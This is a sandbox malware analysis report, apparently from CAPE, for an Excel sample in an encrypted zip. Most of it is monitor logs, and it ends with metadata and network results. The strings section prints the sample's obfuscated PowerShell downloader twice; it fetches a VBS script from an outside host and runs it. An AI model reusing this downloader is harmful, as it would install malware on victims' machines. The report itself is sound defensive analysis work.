2025-12-08 08:33:02,562 [root] DEBUG: 3388: DLL loaded at 0x73600000: C:\Windows\System32\fwpuclnt (0x38000 bytes).
2025-12-08 08:33:02,593 [root] DEBUG: 556: CreateProcessHandler: Injection info set for new process 2544: C:\Windows\system32\DllHost.exe, ImageBase: 0x002F0000
2025-12-08 08:33:02,593 [root] INFO: Announced 32-bit process name: dllhost.exe pid: 2544
2025-12-08 08:33:02,593 [lib.api.process] INFO: Monitor config for <Process 2544 dllhost.exe>: C:\tmpu4t32fjj\dll\2544.ini
2025-12-08 08:33:02,593 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpu4t32fjj\dll\otcZiutY.dll, loader C:\tmpu4t32fjj\bin\jXABFjj.exe
2025-12-08 08:33:02,609 [root] DEBUG: Loader: Injecting process 2544 (thread 2460) with C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:33:02,609 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2025-12-08 08:33:02,625 [root] DEBUG: Successfully injected DLL C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:33:02,625 [lib.api.process] INFO: Injected into 32-bit <Process 2544 dllhost.exe>
2025-12-08 08:33:02,625 [root] INFO: Announced 32-bit process name: dllhost.exe pid: 2544
2025-12-08 08:33:02,625 [lib.api.process] INFO: Monitor config for <Process 2544 dllhost.exe>: C:\tmpu4t32fjj\dll\2544.ini
2025-12-08 08:33:02,625 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpu4t32fjj\dll\otcZiutY.dll, loader C:\tmpu4t32fjj\bin\jXABFjj.exe
2025-12-08 08:33:02,625 [root] DEBUG: Loader: Injecting process 2544 (thread 2460) with C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:33:02,625 [root] DEBUG: InjectDllViaIAT: This image has already been patched.
2025-12-08 08:33:02,625 [root] DEBUG: Successfully injected DLL C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:33:02,625 [lib.api.process] INFO: Injected into 32-bit <Process 2544 dllhost.exe>
2025-12-08 08:33:02,640 [root] DEBUG: 2544: Python path set to 'C:\Python38'.
2025-12-08 08:33:02,640 [root] DEBUG: 2544: Dropped file limit defaulting to 100.
2025-12-08 08:33:02,640 [root] INFO: Disabling sleep skipping.
2025-12-08 08:33:02,640 [root] DEBUG: 2544: YaraInit: Compiled rules loaded from existing file C:\tmpu4t32fjj\data\yara\capemon.yac
2025-12-08 08:33:02,640 [root] DEBUG: 2544: YaraScan: Scanning 0x002F0000, size 0x4114
2025-12-08 08:33:02,640 [root] DEBUG: 2544: Monitor initialised: 32-bit capemon loaded in process 2544 at 0x6c9a0000, thread 2460, image base 0x2f0000, stack from 0xa6000-0xb0000
2025-12-08 08:33:02,640 [root] DEBUG: 2544: Commandline: C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}
2025-12-08 08:33:02,640 [root] DEBUG: 2544: GetAddressByYara: ModuleBase 0x774E0000 FunctionName LdrpCallInitRoutine
2025-12-08 08:33:02,656 [root] DEBUG: 2544: hook_api: LdrpCallInitRoutine export address 0x77538810 obtained via GetFunctionAddress
2025-12-08 08:33:02,656 [root] DEBUG: 2544: hook_api: Warning - CreateRemoteThreadEx export address 0x764AF98F differs from GetProcAddress -> 0x754EBB18 (KERNELBASE.dll::0xbb18)
2025-12-08 08:33:02,656 [root] DEBUG: 2544: hook_api: Warning - UpdateProcThreadAttribute export address 0x764B020F differs from GetProcAddress -> 0x754F43FB (KERNELBASE.dll::0x143fb)
2025-12-08 08:33:02,656 [root] WARNING: b'Unable to place hook on GetCommandLineA'
2025-12-08 08:33:02,656 [root] DEBUG: 2544: set_hooks: Unable to hook GetCommandLineA
2025-12-08 08:33:02,656 [root] WARNING: b'Unable to place hook on GetCommandLineW'
2025-12-08 08:33:02,656 [root] DEBUG: 2544: set_hooks: Unable to hook GetCommandLineW
2025-12-08 08:33:02,656 [root] DEBUG: 2544: Hooked 611 out of 613 functions
2025-12-08 08:33:02,656 [root] DEBUG: 2544: WoW64 not detected.
2025-12-08 08:33:02,656 [root] INFO: Loaded monitor into process with pid 2544
2025-12-08 08:33:02,656 [root] DEBUG: 2544: caller_dispatch: Added region at 0x002F0000 to tracked regions list (kernel32::GetSystemTimeAsFileTime returns to 0x002F193E, thread 2460).
2025-12-08 08:33:02,656 [root] DEBUG: 2544: YaraScan: Scanning 0x002F0000, size 0x4114
2025-12-08 08:33:02,656 [root] DEBUG: 2544: ProcessImageBase: Main module image at 0x002F0000 unmodified (entropy change 0.000000e+00)
2025-12-08 08:33:02,656 [root] DEBUG: 2544: DLL loaded at 0x753E0000: C:\Windows\system32\CRYPTBASE (0xc000 bytes).
2025-12-08 08:33:02,671 [root] DEBUG: 2544: DLL loaded at 0x76100000: C:\Windows\system32\CLBCatQ (0x83000 bytes).
2025-12-08 08:33:02,671 [root] DEBUG: 2544: DLL loaded at 0x75D80000: C:\Windows\system32\OLEAUT32 (0x8f000 bytes).
2025-12-08 08:33:02,671 [root] DEBUG: 2544: DLL loaded at 0x74ED0000: C:\Windows\system32\CRYPTSP (0x16000 bytes).
2025-12-08 08:33:02,671 [root] DEBUG: 2544: DLL loaded at 0x74C60000: C:\Windows\system32\rsaenh (0x3b000 bytes).
2025-12-08 08:33:02,671 [root] DEBUG: 2544: DLL loaded at 0x75450000: C:\Windows\system32\RpcRtRemote (0xe000 bytes).
2025-12-08 08:33:02,671 [root] DEBUG: 2544: DLL loaded at 0x74170000: C:\Windows\system32\uxtheme (0x40000 bytes).
2025-12-08 08:33:02,687 [root] DEBUG: 2544: DLL loaded at 0x75920000: C:\Windows\System32\wininet (0x1e4000 bytes).
2025-12-08 08:33:02,687 [root] DEBUG: 2544: DLL loaded at 0x75610000: C:\Windows\system32\api-ms-win-downlevel-user32-l1-1-0 (0x4000 bytes).
2025-12-08 08:33:02,687 [root] DEBUG: 2544: DLL loaded at 0x757E0000: C:\Windows\system32\api-ms-win-downlevel-shlwapi-l1-1-0 (0x4000 bytes).
2025-12-08 08:33:02,687 [root] DEBUG: 2544: DLL loaded at 0x75620000: C:\Windows\system32\api-ms-win-downlevel-version-l1-1-0 (0x4000 bytes).
2025-12-08 08:33:02,687 [root] DEBUG: 2544: DLL loaded at 0x74960000: C:\Windows\system32\version (0x9000 bytes).
2025-12-08 08:33:02,687 [root] DEBUG: 2544: DLL loaded at 0x75600000: C:\Windows\system32\api-ms-win-downlevel-normaliz-l1-1-0 (0x3000 bytes).
2025-12-08 08:33:02,687 [root] DEBUG: 2544: DLL loaded at 0x77630000: C:\Windows\system32\normaliz (0x3000 bytes).
2025-12-08 08:33:02,687 [root] DEBUG: 2544: DLL loaded at 0x761B0000: C:\Windows\system32\iertutil (0x232000 bytes).
2025-12-08 08:33:02,687 [root] DEBUG: 2544: DLL loaded at 0x755C0000: C:\Windows\system32\api-ms-win-downlevel-advapi32-l1-1-0 (0x5000 bytes).
2025-12-08 08:33:02,687 [root] DEBUG: 2544: DLL loaded at 0x757C0000: C:\Windows\system32\USERENV (0x17000 bytes).
2025-12-08 08:33:02,687 [root] DEBUG: 2544: DLL loaded at 0x754D0000: C:\Windows\system32\profapi (0xb000 bytes).
2025-12-08 08:33:02,703 [root] DEBUG: 2544: DLL loaded at 0x75790000: C:\Windows\system32\api-ms-win-downlevel-ole32-l1-1-0 (0x4000 bytes).
2025-12-08 08:33:02,703 [root] DEBUG: 2544: DLL loaded at 0x75350000: C:\Windows\system32\Secur32 (0x8000 bytes).
2025-12-08 08:33:02,703 [root] DEBUG: 2544: DLL loaded at 0x766D0000: C:\Windows\system32\SHELL32 (0xc4c000 bytes).
2025-12-08 08:33:02,703 [root] DEBUG: 2544: DLL loaded at 0x72CD0000: C:\Windows\system32\api-ms-win-downlevel-advapi32-l2-1-0 (0x4000 bytes).
2025-12-08 08:33:02,718 [root] DEBUG: 2544: DLL loaded at 0x72BF0000: C:\Windows\system32\winhttp (0x58000 bytes).
2025-12-08 08:33:02,718 [root] DEBUG: 2544: DLL loaded at 0x72BA0000: C:\Windows\system32\webio (0x50000 bytes).
2025-12-08 08:33:02,718 [root] DEBUG: 2544: DLL loaded at 0x74E90000: C:\Windows\system32\mswsock (0x3c000 bytes).
2025-12-08 08:33:02,718 [root] DEBUG: 2544: DLL loaded at 0x74E80000: C:\Windows\System32\wship6 (0x6000 bytes).
2025-12-08 08:33:02,718 [root] DEBUG: 2544: DLL loaded at 0x73640000: C:\Windows\system32\IPHLPAPI (0x1c000 bytes).
2025-12-08 08:33:02,718 [root] DEBUG: 2544: DLL loaded at 0x736D0000: C:\Windows\system32\WINNSI (0x7000 bytes).
2025-12-08 08:33:07,312 [root] DEBUG: 3388: DLL loaded at 0x74200000: C:\Windows\system32\POWRPROF (0x25000 bytes).
2025-12-08 08:33:07,312 [root] DEBUG: 556: OpenProcessHandler: Injection info created for process 3388, handle 0x304: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe
2025-12-08 08:33:07,718 [root] INFO: Process with pid 2544 has terminated
2025-12-08 08:33:07,718 [root] DEBUG: 2544: NtTerminateProcess hook: Attempting to dump process 2544
2025-12-08 08:33:07,718 [root] DEBUG: 2544: DoProcessDump: Skipping process dump as code is identical on disk.
2025-12-08 08:33:58,640 [root] DEBUG: 3016: api-cap: NtFindAtom hook disabled due to count: 5000
2025-12-08 08:35:03,937 [root] INFO: Analysis timeout hit, terminating analysis
2025-12-08 08:35:03,937 [lib.api.process] INFO: Terminate event set for <Process 3016 EXCEL.EXE>
2025-12-08 08:35:03,937 [root] DEBUG: 3016: Terminate Event: Attempting to dump process 3016
2025-12-08 08:35:03,953 [root] DEBUG: 3016: DoProcessDump: Skipping process dump as code is identical on disk.
2025-12-08 08:35:03,953 [root] DEBUG: 3016: Terminate Event: Current region empty
2025-12-08 08:35:03,953 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Temp\~DF17AED9ABF2A39EFF.TMP
2025-12-08 08:35:03,953 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Temp\~DF4EE2F1BE4BF3DA7D.TMP
2025-12-08 08:35:03,953 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Temp\26bd031cb4a5333bbd77698f5aaf737cb108b4b9d30670d92218a8c31ec0abc7.xls
2025-12-08 08:35:03,953 [lib.api.process] INFO: Termination confirmed for <Process 3016 EXCEL.EXE>
2025-12-08 08:35:03,953 [root] INFO: Terminate event set for process 3016
2025-12-08 08:35:03,953 [root] DEBUG: 3016: Terminate Event: CAPE shutdown complete for process 3016
2025-12-08 08:35:03,953 [root] DEBUG: 556: Terminate Event: Attempting to dump process 556
2025-12-08 08:35:03,953 [lib.api.process] INFO: Terminate event set for <Process 556 svchost.exe>
2025-12-08 08:35:03,953 [root] DEBUG: 556: DoProcessDump: Skipping process dump as code is identical on disk.
2025-12-08 08:35:03,953 [root] DEBUG: 556: Terminate Event: Current region empty
2025-12-08 08:35:03,953 [root] DEBUG: 556: Terminate Event: CAPE shutdown complete for process 556
2025-12-08 08:35:03,953 [lib.api.process] INFO: Termination confirmed for <Process 556 svchost.exe>
2025-12-08 08:35:03,953 [root] INFO: Terminate event set for process 556
2025-12-08 08:35:03,953 [lib.api.process] INFO: Terminate event set for <Process 1236 explorer.exe>
2025-12-08 08:35:03,953 [root] DEBUG: 1236: Terminate Event: Attempting to dump process 1236
2025-12-08 08:35:03,953 [root] DEBUG: 1236: DoProcessDump: Skipping process dump as code is identical on disk.
2025-12-08 08:35:03,968 [root] DEBUG: 1236: Terminate Event: Current region empty
2025-12-08 08:35:03,968 [lib.api.process] INFO: Termination confirmed for <Process 1236 explorer.exe>
2025-12-08 08:35:03,968 [root] INFO: Terminate event set for process 1236
2025-12-08 08:35:03,968 [root] DEBUG: 1236: Terminate Event: CAPE shutdown complete for process 1236
2025-12-08 08:35:03,968 [lib.api.process] INFO: Terminate event set for <Process 376 services.exe>
2025-12-08 08:35:03,968 [root] DEBUG: 376: Terminate Event: Attempting to dump process 376
2025-12-08 08:35:03,968 [root] DEBUG: 376: DoProcessDump: Skipping process dump as code is identical on disk.
2025-12-08 08:35:03,968 [root] DEBUG: 376: Terminate Event: Current region empty
2025-12-08 08:35:03,968 [root] DEBUG: 376: Terminate Event: CAPE shutdown complete for process 376
2025-12-08 08:35:03,968 [lib.api.process] INFO: Termination confirmed for <Process 376 services.exe>
2025-12-08 08:35:03,968 [root] INFO: Terminate event set for process 376
2025-12-08 08:35:03,968 [lib.api.process] INFO: Terminate event set for <Process 3800 svchost.exe>
2025-12-08 08:35:03,968 [root] DEBUG: 3800: Terminate Event: Attempting to dump process 3800
2025-12-08 08:35:03,968 [root] DEBUG: 3800: DoProcessDump: Skipping process dump as code is identical on disk.
2025-12-08 08:35:03,968 [root] DEBUG: 3800: Terminate Event: Current region empty
2025-12-08 08:35:03,968 [lib.api.process] INFO: Termination confirmed for <Process 3800 svchost.exe>
2025-12-08 08:35:03,968 [root] DEBUG: 3800: Terminate Event: CAPE shutdown complete for process 3800
2025-12-08 08:35:03,968 [root] INFO: Terminate event set for process 3800
2025-12-08 08:35:03,968 [lib.api.process] INFO: Terminate event set for <Process 3388 OfficeClickToRun.exe>
2025-12-08 08:35:03,968 [root] DEBUG: 3388: Terminate Event: Attempting to dump process 3388
2025-12-08 08:35:03,968 [root] DEBUG: 3388: DoProcessDump: Skipping process dump as code is identical on disk.
2025-12-08 08:35:03,968 [root] DEBUG: 3388: Terminate Event: Current region empty
2025-12-08 08:35:03,968 [lib.api.process] INFO: Termination confirmed for <Process 3388 OfficeClickToRun.exe>
2025-12-08 08:35:03,968 [root] DEBUG: 3388: Terminate Event: CAPE shutdown complete for process 3388
2025-12-08 08:35:03,968 [root] INFO: Terminate event set for process 3388
2025-12-08 08:35:03,968 [root] INFO: Created shutdown mutex
2025-12-08 08:35:04,968 [root] INFO: Shutting down package
2025-12-08 08:35:04,968 [root] INFO: Stopping auxiliary modules
2025-12-08 08:35:04,968 [root] INFO: Stopping auxiliary module: Browser
2025-12-08 08:35:04,968 [root] INFO: Stopping auxiliary module: Curtain
2025-12-08 08:35:04,984 [lib.common.results] INFO: Uploading file C:\curtain.log to curtain/1765154104.984375.curtain.log; Size is 16972; Max size: 100000000
2025-12-08 08:35:04,984 [root] INFO: Stopping auxiliary module: End_noisy_tasks
2025-12-08 08:35:04,984 [root] INFO: Stopping auxiliary module: Evtx
2025-12-08 08:35:04,984 [modules.auxiliary.evtx] DEBUG: Adding C:/Windows/System32/winevt/Logs\Application.evtx to zip dump
2025-12-08 08:35:05,000 [modules.auxiliary.evtx] DEBUG: Adding C:/Windows/System32/winevt/Logs\HardwareEvents.evtx to zip dump
2025-12-08 08:35:05,000 [modules.auxiliary.evtx] DEBUG: Adding C:/Windows/System32/winevt/Logs\Internet Explorer.evtx to zip dump
2025-12-08 08:35:05,000 [modules.auxiliary.evtx] DEBUG: Adding C:/Windows/System32/winevt/Logs\Key Management Service.evtx to zip dump
2025-12-08 08:35:05,000 [modules.auxiliary.evtx] DEBUG: Adding C:/Windows/System32/winevt/Logs\Microsoft-Windows-Sysmon%4Operational.evtx to zip dump
2025-12-08 08:35:05,015 [modules.auxiliary.evtx] DEBUG: Adding C:/Windows/System32/winevt/Logs\OAlerts.evtx to zip dump
2025-12-08 08:35:05,015 [modules.auxiliary.evtx] DEBUG: Adding C:/Windows/System32/winevt/Logs\Security.evtx to zip dump
2025-12-08 08:35:05,015 [modules.auxiliary.evtx] DEBUG: Adding C:/Windows/System32/winevt/Logs\Setup.evtx to zip dump
2025-12-08 08:35:05,015 [modules.auxiliary.evtx] DEBUG: Adding C:/Windows/System32/winevt/Logs\System.evtx to zip dump
2025-12-08 08:35:05,015 [modules.auxiliary.evtx] DEBUG: Adding C:/Windows/System32/winevt/Logs\Windows PowerShell.evtx to zip dump
2025-12-08 08:35:05,140 [modules.auxiliary.evtx] DEBUG: Uploading evtx.zip to host
2025-12-08 08:35:05,140 [lib.common.results] INFO: Uploading file evtx.zip to evtx/evtx.zip; Size is 348327; Max size: 100000000
2025-12-08 08:35:05,140 [root] INFO: Stopping auxiliary module: Human
2025-12-08 08:35:06,609 [root] INFO: Stopping auxiliary module: Pre_script
2025-12-08 08:35:06,609 [root] INFO: Stopping auxiliary module: Screenshots
2025-12-08 08:35:09,281 [root] INFO: Stopping auxiliary module: Usage
2025-12-08 08:35:10,359 [root] INFO: Stopping auxiliary module: During_script
2025-12-08 08:35:10,359 [root] INFO: Finishing auxiliary modules
2025-12-08 08:35:10,359 [root] INFO: Shutting down pipe server and dumping dropped files
2025-12-08 08:35:10,359 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Local\Temp\FgCHe.txt to files\128971c9ae22f36db1074ff2e93c2adb07c21eb3e5c139d501e06ef29bf28b97; Size is 637; Max size: 100000000
2025-12-08 08:35:10,359 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat to files\42f9c76ccf7a86c64d1244263a0ff86751e86e025a5996c938bd49c2e24714a1; Size is 128; Max size: 100000000
2025-12-08 08:35:10,359 [lib.common.results] INFO: Uploading file C:\PSTranscripts\20251208\PowerShell_transcript.USERDUM-NNN0BL9.wIKaDP81.20251208151331.txt to files\121d0746d5c70a8903b5a04a37ca49726047a93bc777e6bed7893de909056ea4; Size is 2083; Max size: 100000000
2025-12-08 08:35:10,359 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive to files\a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf; Size is 64; Max size: 100000000
2025-12-08 08:35:10,359 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Local\Temp\USERDUM-NNN0BL9-20251208-1513.log to files\d8a46fdc3bea304a25bd633288550f8b9ff54c9acf8d63a94f7b53f8008a22a4; Size is 6748; Max size: 100000000
2025-12-08 08:35:10,359 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Local\Temp\~DF17AED9ABF2A39EFF.TMP to files\34a21219b04fe3f58adb53e3b93b0b915ac5ca6cdf8b4b58232ed302c9b0d455; Size is 16384; Max size: 100000000
2025-12-08 08:35:10,359 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Local\Temp\~DF4EE2F1BE4BF3DA7D.TMP to files\7601e1c6c12270c2a91590cae603d58da6ad4372a799cdba6d30353032db3e0c; Size is 16384; Max size: 100000000
2025-12-08 08:35:10,375 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Local\Temp\26bd031cb4a5333bbd77698f5aaf737cb108b4b9d30670d92218a8c31ec0abc7.xls to files\3f23761882f388067582689649e1f29dfdf954baa52476f605c2ac9ff5ab8c82; Size is 38400; Max size: 100000000
2025-12-08 08:35:10,375 [root] WARNING: Folder at path "C:\tltaQBTn\debugger" does not exist, skipping
2025-12-08 08:35:10,375 [root] WARNING: Folder at path "C:\tltaQBTn\tlsdump" does not exist, skipping
2025-12-08 08:35:10,375 [root] INFO: Analysis completed
| Name | Label | Manager | Started On | Shutdown On | Route |
|---|---|---|---|---|---|
| win7-32bit-1 | win7-32bit-1 | KVM | 2025-12-08 16:35:56 | 2025-12-08 16:39:18 | inetsim |
| File Name |
26bd031cb4a5333bbd77.zip
|
|---|---|
| File Type | Zip archive data, at least v5.1 to extract, compression method=AES Encrypted |
| File Size | 14593 bytes |
| MD5 | a7b0938f0bcea7f0e06ef4d6d11487c9 |
| SHA1 | 73f642d3e37eefbf0c6d0998d3911109c7cf9f01 |
| SHA256 | ec9c9472904878452e1a8f15f2d0a93dbb80ef18cb5311df6758b12bac79e37c [VT] [MWDB] [Bazaar] |
| SHA3-384 | e1463bb1cd03b51f8eadfacec3f69e74539f96e75ad48039ccf36e5806bf2ffa74cdb4fff22aa641373ace10968fc83b |
| CRC32 | 87C7EE3C |
| TLSH | T12162D1D0242925BCED50C3AD3120C99B987ED617E9238CD1F272A79A0985C2D3AD5DF3 |
| Ssdeep | 384:ItAVT22of6Os1roaKQmKO1moqpNuL3bcVZb9w3zp:9VHoLsnBm3qpEflp |
| File Strings BinGraph Vba2Graph |
$ErrorActionPreference = 'SilentlyContinue';$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;$we22='eW.teN tc' + 'ejbO-weN('; $b4df='olnwoD.)tnei' + 'lCb'; $c3=')''sbv.sdapeton\''+pmet:vne$,''sbv.tneilC/aztplasw/moc.tnevehctawmaerd.www//:ptth''(eliFda';$TC=$c3,$b4df,$we22 -Join '';IEX($TC|% {-join($_[-1..-$_.Length])});start-process($env:temp+ '\notepads.vbs');remove-item ($env:appdata + '\FgCHe.js'){-join($_[-1..-$_.Length])}(New-Object Net.WebClient).DownloadFile('http://www.dreamwatchevent.com/wsalptza/Client.vbs',$env:temp+'\notepads.vbs')$global:?
Event: 01Error Message = This command cannot be run due to the error: The system cannot find the file specified.
Fully Qualified Error ID = InvalidOperationException,Microsoft.PowerShell.Commands.StartProcessCommand
$ErrorActionPreference = 'SilentlyContinue';$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;$we22='eW.teN tc' + 'ejbO-weN('; $b4df='olnwoD.)tnei' + 'lCb'; $c3=')''sbv.sdapeton''+pmet:vne$,''sbv.tneilC/aztplasw/moc.tnevehctawmaerd.www//:ptth''(eliFda';$TC=$c3,$b4df,$we22 -Join '';IEX($TC|% {-join($_[-1..-$_.Length])});start-process($env:temp+ '\notepads.vbs');remove-item ($env:appdata + '\FgCHe.js'){-join($_[-1..-$_.Length])}(New-Object Net.WebClient).DownloadFile('http://www.dreamwatchevent.com/wsalptza/Client.vbs',$env:temp+'\notepads.vbs')$global:?
Event: 01No alteration of event.
| Defense Evasion | Discovery | Command and Control | Execution | Privilege Escalation |
|
|
|---|
No hosts contacted.
No hosts contacted.
No TCP connections recorded.
No UDP connections recorded.
No domains contacted.
No HTTP(s) requests performed.
No SMTP traffic performed.
No IRC requests performed.
No ICMP traffic performed.
No CIF Results
No Suricata Alerts
No Suricata TLS
No Suricata HTTP